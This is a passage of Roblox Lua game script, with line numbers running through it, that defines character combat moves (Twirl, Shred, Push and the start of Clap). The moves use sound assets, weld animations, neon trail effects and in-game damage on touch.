    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3843
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3844
    so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) 
3845
    for i=0,1,0.1 do
3846
        swait()
3847
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3848
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3849
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3850
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3851
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3852
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3853
    end
3854
if anim then
3855
anim.Disabled=true
3856
end
3857
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
3858
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
3859
    for i=0,1,0.05 do
3860
        swait()
3861
        Torso.Velocity=RootPart.CFrame.lookVector*100
3862
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
3863
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3864
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3865
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3866
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3867
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3868
    end
3869
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
3870
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
3871
    for i=0,1,0.05 do
3872
        swait()
3873
        Torso.Velocity=RootPart.CFrame.lookVector*100
3874
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
3875
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3876
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3877
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3878
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3879
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3880
    end
3881
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
3882
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
3883
    for i=0,1,0.05 do
3884
        swait()
3885
        Torso.Velocity=RootPart.CFrame.lookVector*100
3886
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
3887
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3888
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3889
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3890
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3891
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3892
    end
3893
    --dmgstop()
3894
Humanoid.WalkSpeed=12
3895
    attack=false
3896
    con1:disconnect()
3897
    con2:disconnect()
3898
if anim then
3899
anim.Disabled=false
3900
end
3901
if TrailDeb == true then
3902
						TrailDeb = false
3903
end
3904
end
3905
3906
function Twirl()
3907
mana=mana-50
3908
    attack=true
3909
if TrailDeb == false then
3910
							TrailDeb = true
3911
						end
3912
						
3913
3914
coroutine.wrap(function()
3915
local Old = Handle2.CFrame.p
3916
while wait()do
3917
if not TrailDeb then break end
3918
local New = Handle2.CFrame.p
3919
local Mag =(Old -New).magnitude
3920
local Dis =(Old +New)/2
3921
local Trail = Instance.new("Part",Character)
3922
Trail.Material = "Neon"
3923
Trail.Anchored = true
3924
Trail.CanCollide = false
3925
Trail.BrickColor = TorsoColor
3926
Trail.Size = Vector3.new(0.2,Mag,0.2)
3927
Trail.TopSurface = 0
3928
Trail.BottomSurface = 0
3929
Trail.formFactor = "Custom"
3930
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3931
local ms = Instance.new("BlockMesh",Trail)
3932
ms.Scale = Vector3.new(1,1,1)
3933
local TM = Instance.new("CylinderMesh",Trail)
3934
TM.Scale = Vector3.new(1,1,1)
3935
Old = New
3936
coroutine.wrap(function()
3937
for i = 1,0,-0.1 do
3938
wait()
3939
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3940
end
3941
Trail:remove()
3942
end)()
3943
coroutine.wrap(function()
3944
for i = 1,10 do
3945
wait()
3946
Trail.Transparency = Trail.Transparency +0.1
3947
end end)()end end)()
3948
coroutine.wrap(function()
3949
local Old = Handle.CFrame.p
3950
while wait()do
3951
if not TrailDeb then break end
3952
local New = Handle.CFrame.p
3953
local Mag =(Old -New).magnitude
3954
local Dis =(Old +New)/2
3955
local Trail = Instance.new("Part",Character)
3956
Trail.Material = "Neon"
3957
Trail.Anchored = true
3958
Trail.CanCollide = false
3959
Trail.BrickColor = TorsoColor
3960
Trail.Size = Vector3.new(0.2,Mag,0.2)
3961
Trail.TopSurface = 0
3962
Trail.BottomSurface = 0
3963
Trail.formFactor = "Custom"
3964
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3965
local ms = Instance.new("BlockMesh",Trail)
3966
ms.Scale = Vector3.new(1,1,1)
3967
local TM = Instance.new("CylinderMesh",Trail)
3968
TM.Scale = Vector3.new(1,1,1)
3969
Old = New
3970
coroutine.wrap(function()
3971
for i = 1,0,-0.1 do
3972
wait()
3973
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3974
end
3975
Trail:remove()
3976
end)()
3977
coroutine.wrap(function()
3978
for i = 1,10 do
3979
wait()
3980
Trail.Transparency = Trail.Transparency +0.1
3981
end end)()end end)()
3982
	Footsteps:Stop()
3983
	Footsteps2:Stop()
3984
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3985
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3986
    so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
3987
    for i=0,1,0.1 do
3988
        swait()
3989
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3990
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3991
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3992
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3993
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3994
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3995
    end
3996
if anim then
3997
anim.Disabled=true
3998
end
3999
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4000
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4001
    for i=0,1,0.05 do
4002
        swait()
4003
        Torso.Velocity=RootPart.CFrame.lookVector*80
4004
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4005
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4006
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4007
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4008
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4009
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4010
    end
4011
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4012
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4013
    for i=0,1,0.05 do
4014
        swait()
4015
        Torso.Velocity=RootPart.CFrame.lookVector*80
4016
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4017
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4018
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4019
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4020
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4021
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4022
    end
4023
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4024
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4025
    for i=0,1,0.05 do
4026
        swait()
4027
        Torso.Velocity=RootPart.CFrame.lookVector*80
4028
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4029
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4030
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4031
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4032
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4033
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4034
    end
4035
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4036
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4037
    for i=0,1,0.05 do
4038
        swait()
4039
        Torso.Velocity=RootPart.CFrame.lookVector*80
4040
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4041
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4042
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4043
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4044
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4045
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4046
    end
4047
    --dmgstop()
4048
Humanoid.WalkSpeed=12
4049
    attack=false
4050
    con1:disconnect()
4051
    con2:disconnect()
4052
if anim then
4053
anim.Disabled=false
4054
end
4055
if TrailDeb == true then
4056
						TrailDeb = false
4057
end
4058
end
4059
4060
function Shred()
4061
    attack=true
4062
    mana=mana-100
4063
if TrailDeb == false then
4064
							TrailDeb = true
4065
						end
4066
						
4067
4068
coroutine.wrap(function()
4069
local Old = Handle2.CFrame.p
4070
while wait()do
4071
if not TrailDeb then break end
4072
local New = Handle2.CFrame.p
4073
local Mag =(Old -New).magnitude
4074
local Dis =(Old +New)/2
4075
local Trail = Instance.new("Part",Character)
4076
Trail.Material = "Neon"
4077
Trail.Anchored = true
4078
Trail.CanCollide = false
4079
Trail.BrickColor = TorsoColor
4080
Trail.Size = Vector3.new(0.2,Mag,0.2)
4081
Trail.TopSurface = 0
4082
Trail.BottomSurface = 0
4083
Trail.formFactor = "Custom"
4084
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4085
local ms = Instance.new("BlockMesh",Trail)
4086
ms.Scale = Vector3.new(1,1,1)
4087
local TM = Instance.new("CylinderMesh",Trail)
4088
TM.Scale = Vector3.new(1,1,1)
4089
Old = New
4090
coroutine.wrap(function()
4091
for i = 1,0,-0.1 do
4092
wait()
4093
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4094
end
4095
Trail:remove()
4096
end)()
4097
coroutine.wrap(function()
4098
for i = 1,10 do
4099
wait()
4100
Trail.Transparency = Trail.Transparency +0.1
4101
end end)()end end)()
4102
coroutine.wrap(function()
4103
local Old = Handle.CFrame.p
4104
while wait()do
4105
if not TrailDeb then break end
4106
local New = Handle.CFrame.p
4107
local Mag =(Old -New).magnitude
4108
local Dis =(Old +New)/2
4109
local Trail = Instance.new("Part",Character)
4110
Trail.Material = "Neon"
4111
Trail.Anchored = true
4112
Trail.CanCollide = false
4113
Trail.BrickColor = TorsoColor
4114
Trail.Size = Vector3.new(0.2,Mag,0.2)
4115
Trail.TopSurface = 0
4116
Trail.BottomSurface = 0
4117
Trail.formFactor = "Custom"
4118
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4119
local ms = Instance.new("BlockMesh",Trail)
4120
ms.Scale = Vector3.new(1,1,1)
4121
local TM = Instance.new("CylinderMesh",Trail)
4122
TM.Scale = Vector3.new(1,1,1)
4123
Old = New
4124
coroutine.wrap(function()
4125
for i = 1,0,-0.1 do
4126
wait()
4127
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4128
end
4129
Trail:remove()
4130
end)()
4131
coroutine.wrap(function()
4132
for i = 1,10 do
4133
wait()
4134
Trail.Transparency = Trail.Transparency +0.1
4135
end end)()end end)()
4136
	Footsteps:Stop()
4137
	Footsteps2:Stop()
4138
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) 
4139
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) 
4140
    so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) 
4141
    for i=0,1,0.1 do
4142
        swait()
4143
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4144
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4145
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4146
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
4147
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4148
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4149
    end
4150
if anim then
4151
anim.Disabled=true
4152
end
4153
    for i=0,1,0.05 do
4154
        swait()
4155
        Torso.Velocity=RootPart.CFrame.lookVector*20
4156
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4157
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4158
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
4159
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4160
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4161
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4162
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4163
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4164
    end
4165
    for i=0,1,0.05 do
4166
        swait()
4167
        Torso.Velocity=RootPart.CFrame.lookVector*40
4168
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4169
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4170
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
4171
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4172
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4173
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4174
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4175
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4176
    end
4177
    for i=0,1,0.05 do
4178
        swait()
4179
        Torso.Velocity=RootPart.CFrame.lookVector*60
4180
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4181
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4182
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
4183
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4184
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4185
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4186
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4187
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4188
    end
4189
    so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
4190
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4191
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4192
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4193
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4194
    for i=0,1,0.05 do
4195
        swait()
4196
        Torso.Velocity=RootPart.CFrame.lookVector*80
4197
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
4198
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4199
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4200
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4201
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4202
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4203
    end
4204
    for i=0,1,0.005 do
4205
        swait()
4206
        Torso.Velocity=RootPart.CFrame.lookVector*100
4207
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
4208
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4209
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4210
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4211
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4212
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4213
    end
4214
    --dmgstop()
4215
Humanoid.WalkSpeed=12
4216
    attack=false
4217
    con1:disconnect()
4218
    con2:disconnect()
4219
if anim then
4220
anim.Disabled=false
4221
end
4222
if TrailDeb == true then
4223
						TrailDeb = false
4224
end
4225
end
4226
4227
function Push()
4228
    attack=true
4229
    mana=mana-20
4230
if TrailDeb == false then
4231
							TrailDeb = true
4232
						end
4233
						
4234
4235
coroutine.wrap(function()
4236
local Old = Handle2.CFrame.p
4237
while wait()do
4238
if not TrailDeb then break end
4239
local New = Handle2.CFrame.p
4240
local Mag =(Old -New).magnitude
4241
local Dis =(Old +New)/2
4242
local Trail = Instance.new("Part",Character)
4243
Trail.Material = "Neon"
4244
Trail.Anchored = true
4245
Trail.CanCollide = false
4246
Trail.BrickColor = TorsoColor
4247
Trail.Size = Vector3.new(0.2,Mag,0.2)
4248
Trail.TopSurface = 0
4249
Trail.BottomSurface = 0
4250
Trail.formFactor = "Custom"
4251
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4252
local ms = Instance.new("BlockMesh",Trail)
4253
ms.Scale = Vector3.new(1,1,1)
4254
local TM = Instance.new("CylinderMesh",Trail)
4255
TM.Scale = Vector3.new(1,1,1)
4256
Old = New
4257
coroutine.wrap(function()
4258
for i = 1,0,-0.1 do
4259
wait()
4260
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4261
end
4262
Trail:remove()
4263
end)()
4264
coroutine.wrap(function()
4265
for i = 1,10 do
4266
wait()
4267
Trail.Transparency = Trail.Transparency +0.1
4268
end end)()end end)()
4269
coroutine.wrap(function()
4270
local Old = Handle.CFrame.p
4271
while wait()do
4272
if not TrailDeb then break end
4273
local New = Handle.CFrame.p
4274
local Mag =(Old -New).magnitude
4275
local Dis =(Old +New)/2
4276
local Trail = Instance.new("Part",Character)
4277
Trail.Material = "Neon"
4278
Trail.Anchored = true
4279
Trail.CanCollide = false
4280
Trail.BrickColor = TorsoColor
4281
Trail.Size = Vector3.new(0.2,Mag,0.2)
4282
Trail.TopSurface = 0
4283
Trail.BottomSurface = 0
4284
Trail.formFactor = "Custom"
4285
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4286
local ms = Instance.new("BlockMesh",Trail)
4287
ms.Scale = Vector3.new(1,1,1)
4288
local TM = Instance.new("CylinderMesh",Trail)
4289
TM.Scale = Vector3.new(1,1,1)
4290
Old = New
4291
coroutine.wrap(function()
4292
for i = 1,0,-0.1 do
4293
wait()
4294
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4295
end
4296
Trail:remove()
4297
end)()
4298
coroutine.wrap(function()
4299
for i = 1,10 do
4300
wait()
4301
Trail.Transparency = Trail.Transparency +0.1
4302
end end)()end end)()
4303
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4304
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4305
    for i=0,1,0.1 do
4306
        swait()
4307
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4308
		Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4309
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4310
        Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
4311
        Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
4312
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
4313
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
4314
    end
4315
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
4316
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4317
    so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) 
4318
    for i=0,1,0.1 do
4319
        swait()
4320
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4321
		Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4322
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4323
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
4324
        Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
4325
        RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
4326
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
4327
    end
4328
    --dmgstop()
4329
    attack=false
4330
    con1:disconnect()
4331
    con2:disconnect()
4332
if TrailDeb == true then
4333
						TrailDeb = false
4334
end
4335
end
4336
4337
function Clap()
4338
    attack=true
4339
    mana=mana-20
4340
if TrailDeb == false then
4341
							TrailDeb = true
4342
						end
4343
						
4344
4345
coroutine.wrap(function()
4346
local Old = Handle2.CFrame.p
4347
while wait()do
4348
if not TrailDeb then break end
4349
local New = Handle2.CFrame.p
4350
local Mag =(Old -New).magnitude
4351
local Dis =(Old +New)/2
4352
local Trail = Instance.new("Part",Character)
4353
Trail.Material = "Neon"
4354
Trail.Anchored = true
4355
Trail.CanCollide = false
4356
Trail.BrickColor = TorsoColor
4357
Trail.Size = Vector3.new(0.2,Mag,0.2)
4358
Trail.TopSurface = 0
4359
Trail.BottomSurface = 0
4360
Trail.formFactor = "Custom"
4361
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4362
local ms = Instance.new("BlockMesh",Trail)
4363
ms.Scale = Vector3.new(1,1,1)
4364
local TM = Instance.new("CylinderMesh",Trail)
4365
TM.Scale = Vector3.new(1,1,1)
4366
Old = New
4367
coroutine.wrap(function()
4368
for i = 1,0,-0.1 do
4369
wait()
4370
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4371
end
4372
Trail:remove()
4373
end)()
4374
coroutine.wrap(function()
4375
for i = 1,10 do
4376
wait()
4377
Trail.Transparency = Trail.Transparency +0.1
4378
end end)()end end)()
4379
coroutine.wrap(function()
4380
local Old = Handle.CFrame.p
4381
while wait()do
4382
if not TrailDeb then break end
4383
local New = Handle.CFrame.p
4384
local Mag =(Old -New).magnitude
4385
local Dis =(Old +New)/2
4386
local Trail = Instance.new("Part",Character)
4387
Trail.Material = "Neon"
4388
Trail.Anchored = true
4389
Trail.CanCollide = false
4390
Trail.BrickColor = TorsoColor
4391
Trail.Size = Vector3.new(0.2,Mag,0.2)
4392
Trail.TopSurface = 0
4393
Trail.BottomSurface = 0
4394
Trail.formFactor = "Custom"
4395
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4396
local ms = Instance.new("BlockMesh",Trail)
4397
ms.Scale = Vector3.new(1,1,1)
4398
local TM = Instance.new("CylinderMesh",Trail)
4399
TM.Scale = Vector3.new(1,1,1)
4400
Old = New
4401
coroutine.wrap(function()
4402
for i = 1,0,-0.1 do
4403
wait()
